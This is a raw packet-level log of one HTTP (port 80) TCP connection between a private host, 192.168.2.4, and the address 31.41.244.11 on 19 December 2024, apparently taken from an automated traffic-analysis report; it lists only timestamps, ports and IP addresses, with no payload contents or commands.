Dec 19, 2024 06:09:52.287018061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.288052082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.288068056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.288217068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.289112091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.289190054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.289222956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.290189981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.290261030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.290292025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.291263103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.291322947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.291346073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.292059898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.292423964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.292501926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.292552948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.293580055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.293596983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.293642044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.294584990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.294660091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.294691086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.295751095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.295794964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.295828104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.296036005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.296830893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.296907902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.296966076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.297933102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.298001051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.298052073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.299000978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.299053907 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.299127102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.300055981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.300154924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.300194979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.300235987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.301248074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.301392078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.301475048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.302366972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.302401066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.302499056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.303443909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.303534985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.303566933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.303647041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.304507017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.304704905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.304748058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.305628061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.305763960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.305809021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.306754112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.306886911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.306911945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.307997942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.308013916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.308043957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.308043957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.308069944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.309020042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.309062958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.309075117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.310112953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.310128927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.310182095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.311192036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.311283112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.311347008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.312299013 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.312432051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.312489033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.313410997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.313474894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.313586950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.314500093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.314553976 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.314654112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.315681934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.315722942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.315741062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.315828085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.316751957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.316832066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.316900015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.317850113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.317867994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.317922115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.319025993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.319041967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.319086075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.320024014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.320154905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.320224047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.321192980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.321290016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.321341038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.322259903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.322340012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.322371006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.323504925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.323609114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.323632956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.324040890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.324590921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.324692965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.324774027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.325572014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.328061104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.459697962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.459858894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.459916115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.460192919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.460335016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.460381985 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.461287975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.461343050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.461416960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.461464882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.462445974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.462462902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.462498903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.462513924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.463519096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.463726044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.463777065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.464713097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.464853048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.464898109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.465689898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.465733051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.465804100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.465873003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.466788054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.466902018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.466952085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.467905045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.467983961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.468137026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.468179941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.469130993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.469146967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.469180107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.469196081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.470432043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.470448971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.470494986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.471295118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.471366882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.471416950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.472373962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.472590923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.472640038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.473500967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.473556042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.473788977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.473881006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.474560976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.474669933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.474750996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.474791050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.475662947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.475781918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.475800991 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.475826025 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.476763964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.476824999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.476974010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.477395058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.477912903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.477977037 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.478020906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.478092909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.478979111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.479033947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.479137897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.479176044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.480093956 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.480135918 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.480253935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.480320930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.481373072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.481389046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.481426001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.481446028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.482306957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.482435942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.482439995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.482511997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.483546972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.483562946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.483587980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.483604908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.484644890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.484687090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.484694958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.484735012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.485680103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.485719919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.485785007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.485827923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.486761093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.486908913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.486913919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.487024069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.487843990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.487905979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.487994909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.488162041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.489038944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.489056110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.489092112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.489109039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.490117073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.490174055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.490176916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.490219116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.491210938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.491293907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.491328001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.491344929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.492294073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.492388964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.492441893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.493423939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.493496895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.493552923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.494600058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.494653940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.494709969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.495587111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.495690107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.495727062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.495795012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.496732950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.496812105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.496836901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.496885061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.497819901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.497864962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.497922897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.498191118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.498914003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.498963118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.499042034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.499085903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.500088930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.500144958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.500158072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.500206947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.501172066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.501219034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.501257896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.501347065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.502240896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.502305984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.502355099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.502397060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.503364086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.503434896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.503473043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.503519058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.504457951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.504509926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.504575968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.504617929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.505606890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.505656958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.505702972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.505753994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.506748915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.506774902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.506819010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.507782936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.507838011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.507934093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.507985115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.508927107 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.508972883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.508994102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.509040117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.510052919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.510165930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.510196924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.510214090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.511171103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.511223078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.511269093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.511327028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.512294054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.512343884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.512388945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.512489080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.513410091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.513436079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.513458014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.513473034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.514489889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.514553070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.514566898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.514600992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.515551090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.515625000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.515638113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.515682936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.516697884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.516747952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.516877890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.516921997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.517824888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.517900944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.651891947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.651911974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.651947975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.651983023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.652364016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.652504921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.652529955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.652573109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.653450012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.653495073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.653578043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.653729916 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.654603958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.654659033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.654696941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.654736996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.655663967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.655708075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.655864000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.655905962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.656764030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.656805038 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.656897068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.656966925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.657877922 CET	80	49860	31.41.244.11	192.168.2.4
